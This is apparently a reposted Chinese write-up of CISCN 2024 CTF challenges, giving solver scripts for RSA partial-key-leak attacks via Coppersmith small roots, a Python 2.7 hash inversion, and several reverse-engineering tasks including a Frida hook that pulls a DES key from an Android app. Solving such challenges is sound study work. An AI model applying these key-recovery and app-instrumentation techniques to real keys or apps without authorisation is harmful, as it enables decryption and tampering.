9phAgeyjnJYZ6lgLYflgduBQjdX+V/Ph/fO8QB2ZubhBVOFJMHbwHbtgBaN3eGlhWiEFEdQWoOFvpip0whr4r7aGOhavWhIfRjiqfQVcKZx4/f02W4pcWVYo9/p3otdDig+kofIR9Ky8o9vQk7H1eESNMdq3PPmvd7KTE98ZPqtIIrjbSsJ9XRL+gr5a91gH********************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************hQds7ZdA9yv+yKUYv2e4de8RxX356wYq7r8paBHPXisOkGIVEBYNviMSIbgelkSIjLQka+ZmC2YOgY/DgGJ82JmFG8mmYCcSooGL4ytVUY9dZa1khfhceg==-----END RSA PRIVATE KEY-----题目分析:第一部分先略过吧,不想看直接跳到后面阶段得到的数据有:n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81e = 0x10001inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116ddqlow = 0x8f2363b340e5

4.checkin

题目描述:from Crypto.Util.number import *from secret import flag
p = getPrime(512)q = getPrime(512)n = p*qx = 2021*p+1120*qh = (inverse(x,n)+x)%ne = 65537c = pow(bytes_to_long(flag), e, n)
print('n =', n)print('c =', c)print('h =', h)print('p0 =', p >> 490)
# n = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793# c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833# h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806# p0 = 4055618题目分析:已知:现在的重点是small_roots()里面的参数要怎么设置
先来点前置知识(怕自己又忘了):在方程F(x),模数N确认的情况下,我们可以通过增加 β \betaβ 的取值或减小 ϵ \epsilonϵ 的取值,使得X取到更优的上界。现在,已知d = 2,beta = 1,X有500位未知,我们取epsilon = 0.01是完成能够得到结果的,但我们也知道epsilon越小,耗时越长,我们试着把epsilon调大一点,让epsilon = 0.02,看看能否出结果。经过测试也是能出结果的,那么就用它啦把x_diff求出来了,后面就简单了,这也就不多说了from Crypto.Util.number import long_to_bytes
N = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806p0 = 4055618
p_high = p0 << 490x0 = 2021 * p_high + 1120 * (N // p_high)
P.<x_diff> = PolynomialRing(Zmod(N))f = (x0 + x_diff)^2 + 1 - h * (x0 + x_diff)
res = f.small_roots(X = 2^500, epsilon = 0.02)x_diff = Integer(res[0])
x = x0 + x_diff
p = var('p')q = var('q')res = solve([x == 2021 * p + 1120 * q, N == p * q], p, q)print(res)p = Integer(res[0][0].rhs()) # 提取等号右边部分q = Integer(res[0][1].rhs())
d = inverse_mod(65537, (p - 1) * (q - 1))print(long_to_bytes(int(pow(c,d,N))))进入主题
国赛ez_rsa
题目描述:
(就截取这么一点点了)n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81e = 65537inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116ddqlow = 0x8f2363b340e5

题目分析:

方式1

解方程的过程和上题的思路应该来说是一样的
这里也是d = 2,beta = 1,所以关键部分还是落在了epsilon 的取值上,这个就自己去生成数据测一测,从0.05往上加,发现到0.09以后解集为空,那么设置成0.09就行from Crypto.Util.number import *from tqdm import *
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81e = 0x010001dqlow = 0x8f2363b340e5inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116dc = 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989bits = 48
PR.<x> = PolynomialRing(Zmod(n))dq = (2 ^ bits * x) + dqlow# k = 47794for k in trange(e,1,-1):    f = inv * (e * (2 ^ bits * x + dqlow) - 1 + k) ^ 2 - k * (e * (2 ^ T * x + dqlow) - 1 + k)    f = f.monic()    root = f.small_roots(X=2 ^ (512 - bits), epsilon = 0.09)    if root:        dq = int(root[0]) * 2 ** bits + dqlow        q = int((e * dq - 1) // k + 1)        p = int(n // q)        phi = (p - 1) * (q - 1)        d = inverse_mod(e,phi)        print(long_to_bytes(int(pow(c,d,n))))        break


from Crypto.Util.number import long_to_bytes
方式2from tqdm import *from Crypto.Util.number import *n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116dc = 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989dq_low = 0x8f2363b340e5q_low = []bits = 48e = 65537qq = var('qq')
PR.<x> = PolynomialRing(Zmod(n))# k = 47794for k in trange(e,1,-1):    k = 47794    q0 = solve_mod([e * dq_low == k * qq - k + 1], 2^bits)    for i in q0:        f = inv * (2 ^ bits * x + int(i[0])) ^ 2 - (2 ^ bits * x + int(i[0]))        f = f.monic()        root = f.small_roots(X = 2^(512-bits), epsilon = 0.09)        if root:            q = 2^bits * int(root[0]) + int(i[0])            p = n // q            d = inverse_mod(e,(p - 1) * (q - 1))            print(long_to_bytes(int(pow(c,d,n))))            break            # flag{df4a4054-23eb-4ba4-be5e-15b247d7b819}

5.hash

题目描述你能仅仅通过一个Python2.7自带的hash函数的输出,计算出它的原象的sha384哈希值吗?解题思路将压缩包解压后,含有两个文件,分别是 hash.py 、 output.txt 。hash.py#!/usr/bin/python2# Python 2.7 (64-bit version)from secret import flagimport os, binascii, hashlibkey = os.urandom(7)print hash(key)print int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16) ^ int(binascii.hexlify(flag), 16)output.txt745731258330110123513903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017output.txt 的两行数据分别是 hash.py 中的两行输出。根据源代码逻辑,可以知道首要问题是如何将 k e y keykey 的密文,解密出原文。通过查询 python2.7 的内置 hash 函数,可以搜索到相关信息:python3 中的 hash 函数相对于 python2 ,不同在于 python3 中会对要加密的字符串的运算添加 prefix 和 suffix ,而 python2 默认不会添加。通过 github 上 python2.7 开源代码,找到 python2.7 中 str 类型的 hash 计算源码,部分代码如下:static longstring_hash(PyStringObject *a){    register Py_ssize_t len;    register unsigned char *p;    register long x;
#ifdef Py_DEBUG    assert(_Py_HashSecret_Initialized);#endif    if (a->ob_shash != -1)        return a->ob_shash;    len = Py_SIZE(a);    /*      We make the hash of the empty string be 0, rather than using      (prefix ^ suffix), since this slightly obfuscates the hash secret    */    if (len == 0) {        a->ob_shash = 0;        return 0;    }    p = (unsigned char *) a->ob_sval;    x = _Py_HashSecret.prefix;    x ^= *p << 7;    while (--len >= 0)        x = (1000003*x) ^ *p++;    x ^= Py_SIZE(a);    x ^= _Py_HashSecret.suffix;    if (x == -1)        x = -2;    a->ob_shash = x;    return x;}将其逻辑再编写成一个简易的函数方便测试,代码如下:ll h(char *s, ll len) {    ll res = 0;    res ^= (s[0] << 7LL);    for(int i = 0; i < len; ++i) {        res = (res * 1000003ull) ^ (unsigned )s[i];    }    res ^= len;    return res;}现在进行解密算法的寻找,可以解密关键在于将表达式解密代码如下:vector<unsigned> uh(ull d) {    d ^= 7;    ull res = d;        for(ull i7 = 0; i7 < 256u; ++i7)    for(ull i6 = 0; i6 < 256u; ++i6)    for(ull i5 = 0; i5 < 256u; ++i5) {        ull res_6 = (res ^ i7) * iv; //iv 是1000003在模数2^64下的逆元        ull res_5 = (res_6 ^ i6) * iv;        ull res_4 = (res_5 ^ i5) * iv;        vector<int> a(3);        a[0] = i7;        a[1] = i6;        a[2] = i5;        Hashmap[res_4] = a;    }
    for(ull i1 = 0; i1 < 256u; ++i1)    for(ull i2 = 0; i2 < 256u; ++i2)    for(ull i3 = 0; i3 < 256u; ++i3)    for(ull i4 = 0; i4 < 256u; ++i4) {        ull res_1 = ((i1 << 7) * v) ^ i1; //v 是1000003        ull res_2 = (res_1 * v) ^ i2;        ull res_3 = (res_2 * v) ^ i3;        ull res_4 = (res_3 * v) ^ i4;        if(Hashmap.find(res_4)!=Hashmap.end()){            return vector<unsigned>{i1,i2,i3,i4,Hashmap[res_4][2], Hashmap[res_4][1], Hashmap[res_4][0]};        }    }}具体公式推导涉及同余方程、逆元等知识。代码运行完毕得到密文的 ascii 为 93 140 240 63 90 8 82key = ']\x8c\xf0?Z\x08R'pre = int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16)ans = 13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017flag = ans ^ preflag = hex(flag)print flagflag 的16进制为 666c61677b62646235333761612d383765662d346539352d626561342d3266373932353962646430377d使用在线16进制转字符网站计算,得到 flag 原文为 flag{bdb537aa-87ef-4e95-bea4-2f79259bdd07}     

四、Reverse

1、asm_re

下载得到txt文件,打开发现是ida跑出来的arm的汇编代码,再结合题目名称,这题应该是要读汇编代码了找到关键部分,整理一下数据存在__const段里,注意小端法提取一下然后就可以脚本解出了exp:decodechr=''flag=''enc=[0x1fd7,0x21b7,0x1e47,0x2027,0x26e7,0x10d7,0x1127,0x2007,0x11c7,0x1e47,0x1017,0x1017,0x11f7,0x2007,0x1037,0x1107,0x1f17,0x10d7,0x1017,0x1017,0x1f67,0x1017,0x11c7,0x11c7,0x1017,0x1fd7,0x1f17,0x1107,0x0f47,0x1127,0x1037,0x1e47,0x1037,0x1fd7,0x1107,0x1fd7,0x1107,0x2787]for i in enc:    decodechr=chr((((i-0x1e)^0x4d)-0x14) // 0x50)    flag+=decodechrprint((flag))'运行运行拿到:flag{67e9a228e45b622c2992fb5174a4f5f5}

2、androidso_re

用jadx打开,定位到mainactivity
使用函数legal进行了判断,函数里使用了方法inspect,查看一下
这里关键的两个参数就是key和iv,解压安装包看看so
直接hookfunction main() {        Java.perform(function () {                Java.enumerateClassLoaders({                onMatch: function (loader) {                    try {                            var factory = Java.ClassFactory.get(loader);                        var CheckerClass = factory.use("com.example.re11113.inspect");                        var key = CheckerClass.getKey();                        console.log("Key: " + key);                        } catch (e) {                        // console.log("Error accessing class or method: " + e);                    }                },                onComplete: function () {}            });            });    }        setTimeout(main,1000); package ciscn;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.nio.charset.StandardCharsets;import java.util.Arrays;import java.util.Base64; public class FlagDecryptor {     private static final String ALGORITHM = "DES/CBC/PKCS5Padding";    private static final String CHARSET = StandardCharsets.UTF_8.name();     public static void main(String[] args) {        try {            String encryptedFlag = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==";            String decryptedString = decryptFlag(encryptedFlag);            System.out.println("Decrypted string: " + decryptedString);        } catch (Exception e) {            System.err.println("Decryption failed: " + e.getMessage());        }    }     private static String decryptFlag(String encryptedFlag) throws Exception {        byte[] keyBytes = JniUtils.getKey().getBytes(CHARSET);        byte[] ivBytes = JniUtils.getIv().getBytes(CHARSET);         SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(keyBytes, 8), "DES");        IvParameterSpec iv = new IvParameterSpec(ivBytes);         Cipher cipher = Cipher.getInstance(ALGORITHM);        cipher.init(Cipher.DECRYPT_MODE, key, iv);         byte[] encryptedBytes = Base64.getDecoder().decode(encryptedFlag);        byte[] decryptedBytes = cipher.doFinal(encryptedBytes);         return new String(decryptedBytes, CHARSET);    }     static class JniUtils {        public static String getKey() {            return "A8UdWaeq";        }         public static String getIv() {            return "Wf3DLups";        }    }}

flag{188cba3a5c0fbb2250b5a2e590c391ce}

3、whereThel1b

打开py文件逻辑很清晰,主要的加密内容肯定是在so文件里面这个文件有很强的python编译特征,可以考虑进行反编译特征函数,编写exp:
import base64import random random.seed(0) encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]keys = [random.randint(0, len(encry)) for _ in range(len(encry))]flag = [k ^ e for k, e in zip(keys, encry)]decoded_flag = base64.b64decode(''.join(map(chr, flag)).encode()).decode() print(decoded_flag)'运行运行 flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}

4.gdb_debug

用IDA反编译,定位main函数,可以发现程序逻辑为:在这里插入图片描述输入str,将str每一个字符异或一个随机数,得到str2在这里插入图片描述
定义str3,随机交换洗牌,得到一个0-38的随机不重复的序列在这里插入图片描述

根据str3,得到str4,使得str4[i]=str2[str[3]]在这里插入图片描述将str4每一个字符异或一个随机数在这里插入图片描述

根据str4,得到s1,使得s1[i]=str4[i]^byte_5636B30010A0,其中byte_5636B30010A0固定且已给出在这里插入图片描述将s1与s2作对比,若相同,则输入flag正确,其中s2为"congratulationstoyoucongratulationstoy"在这里插入图片描述
这个程序的特性在于,在置随机数种子时,使用的是当前时间按位与0xF0000000的结果为种子,使得种子在很长一段时间执行时都相同。在这里插入图片描述
基于此,我们可以提前求出要用到的随机数(要在Linux系统上运行,与Win的rand()逻辑不同):
srand(((int)time(0))& 0xF0000000);char rand1[38];unsigned int rand2[38],rand3[38];for(int i=0;i<len;i++){    rand1[i] = rand();    // cout << (unsigned int)(rand1[i]&0xff) << " ";}for(int i=len-1;i;--i){    rand2[i] = rand()%(i+1);    // cout << (unsigned int)(rand2[i]&0xff) << " ";}for(int i=0;i<len;i++){    rand3[i] = rand();}然后根据上面所述步骤,反过来计算一遍,完整代码如下:# Run in linux#include <iostream>#include <cstdio>#include <cstdlib>#include <cstring>#include <cctype>#include <cmath>#include <vector>#include <algorithm>#include <stack>#include <set>#include <map>#include <ctime>#include <unistd.h>#include "defs.h"// #include <bits/stdc++.h>
using namespace std;typedef long long LL;typedef long double DD;
int main(){    srand(((int)time(0))& 0xF0000000);    char s2[] = "congratulationstoyoucongratulationstoy";    unsigned char byte_10A0[] = {        0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88,         0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D,         0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78, 0x00, 0x00    };    char rand1[38];    unsigned int rand2[38],rand3[38];    int len = strlen(s2);    cout << "len:" << len << endl;    for(int i=0;i<len;i++)    {        rand1[i] = rand();        // cout << (unsigned int)(rand1[i]&0xff) << " ";    }    for(int i=len-1;i;--i)    {        rand2[i] = rand()%(i+1);        // cout << (unsigned int)(rand2[i]&0xff) << " ";    }    for(int i=0;i<len;i++)    {        rand3[i] = rand();    }        for(int i=0;i<len;i++)    {        s2[i] ^= byte_10A0[i];    }
    for(int i=0;i<len;i++)    {        s2[i] ^= rand3[i];    }
    int str3[39];    for(int i=0;i<len;i++)    {        str3[i] = i;    }
    for(int i=len-1;i;--i)    {        int temp = str3[i];        str3[i] = str3[rand2[i]];        str3[rand2[i]] = temp;    }
    //s2[i]=str2[str3[i]];    char str2[39] = {0};    for(int i=0;i<len;i++)    {        str2[str3[i]] = s2[i];    }    for(int i=0;i<len;i++)    {        str2[i] ^= rand1[i];    }    cout << str2;        return 0; //-22 61 13 92}在Linux上运行,得到flag:在这里插入图片描述



附件题目地址:链接: https://pan.baidu.com/s/1q-SEU_4WnD9o2ZUn9b6tDw 提取码: jdur

参考转自原文连接地址:https://blog.csdn.net/CHTXRT/article/details/139051214https://blog.csdn.net/uuzeray/article/details/139052904
https://xz.aliyun.com/t/14556

https://blog.csdn.net/weixin_62467741/article/details/139122071 https://blog.csdn.net/CHTXRT/article/details/139051214https://blog.csdn.net/Jayjay___/article/details/139047540 https://blog.csdn.net/Myon5/article/details/139046502
https://blog.csdn.net/XiongSiqi_blog/article/details/139064568 https://blog.csdn.net/althumi/article/details/139077709

标签:__,ciscn,2024,flag,key,WP,print,import,data
From: https://www.cnblogs.com/backlion/p/18447431

相关文章

  • 2017中国大学生程序设计竞赛 - 女生专场(SDKD 2024 Summer Training Contest K2)
    A-AutomaticJudge题意\(n\)个问题,\(m\)条记录,每条记录有题号、时间、状态,第一次\(AC\)的时候计入罚时,其他没发罚\(20\)分钟。求队伍过题数和罚时。思路模拟。代码点击查看代码#include<bits/stdc++.h>usingnamespacestd;#defineintlonglongvoidsolve()......
  • The 2024 CCPC Shandong Invitational Contest and Provincial Collegiate Programmin
    比赛链接C.ColorfulSegments2考虑最小的分组数量,可以先按左端点排序,然后每次贪心地找到前面一个最大右端点\(r_j<l_i\)的组加入。考虑计数,还是同样地按左端点排序,那么假设现在有\(k\)个组,每个组最大右端点是\(g_i\)(没有元素则\(g_i=0\)),那么每次可以选择一个\(g_j......
  • 2024.10.4 总结
    自己做题太慢了。我在图论方面思维很不够灵活。主要表现在建立图论模型、建图、对图上的权值做神秘修改等方面。下午尝试证明某题“正正解”的正确性,花了非常多的时间。后来水哥[解决了问题](?)(我感觉挺对的,但没细想了)。今天最后一题结论的证明:https://www.luogu.com.cn/article......
  • CSP-S模拟赛20241004
    A你考虑可以把这个数组当中的每个数表示成另一种形式:\(a_i=k_i\timesx+b\)(其中\(x\)是模数,\(b\)为余数)。对于求两个数是否对于某个余数同余,显然你要判断他们两个的差,即\(a_i-a_j\),那么我们用上面那种形式表示其实就是\(a_i-a_j=(k_i-k_j)\timesx\),所以你要判断整个数......
  • 20240923
    Bouquet我们可以设计一个状态\(dp_i\)表示前\(i\)朵花内最多可以选多少朵花,如果第\(j\)朵花和第\(i\)多花不冲突,要满足以下条件\[r_j<i且l_i>i\]那么我们可以在\(r_j\)时再让\(j\)的转移合法,那么只用\(1\lej\ler_i\)那么带修的区间查询是什么数据结......
  • 2024.10.4 ROS第五章结束,复习背包问题模型 + codeforces刷刷题
    项目学习总结ROS第五章主要是学习了坐标变换,实际用途还是好理解的,比方说地面基地控制无人机追鸟。坐标变换主要是用tf这个包实现的。可以实现静态坐标变换,动态坐标变换和多坐标变换。静态和动态变换的关键函数:ps_out=buffer.transform(ps,"base_link");动态变换里面主要是......
  • 20240924
    [牛半仙的妹子Tree(tree)](http://ac.robo-maker.cn/d/contest/p/ZY1044?tid=66f28cd11bca2159e88c8fb0)我们会发现其实牛半仙发癫时就等于将以前的标记清空,从头开始,所以我们可以考虑根号分治,如果两个牛半仙发癫的时间间隔小于\(\sqrtn\),那么我们可以直接暴力枚举两个发癫......
  • 20241004-顺路
    约莫六点一刻时我和lzm吃完晚饭从食堂出来,我想回机房,他说想去找zyx,我惊讶,并说这又不顺路干嘛去找?但是他执意要找,并表示「在我心里是顺路的」,我便和他一起顺路。来到24班后门门口,lzm探头张望,又马上折回来小声对我说些话,我没听清,只听到什么「跟zyx大声说lzm来找她了」,我......
  • 20222312 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.1实验目标本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这......
  • 20240926
    机械指令(instruction)我们可以考虑前缀和,那么如果我们要查询只做\([l,r]\)区间内的操作,那么结束时的坐标就是\([sumx_{r}-sumx_{l-1},sumy_{r}-sumy_{l-1}]\),所以我们开一个桶,来统计之前第一个\(l\)在哪抉择(choice)从感觉上来说,肯定是越长越好,我们又看到有一......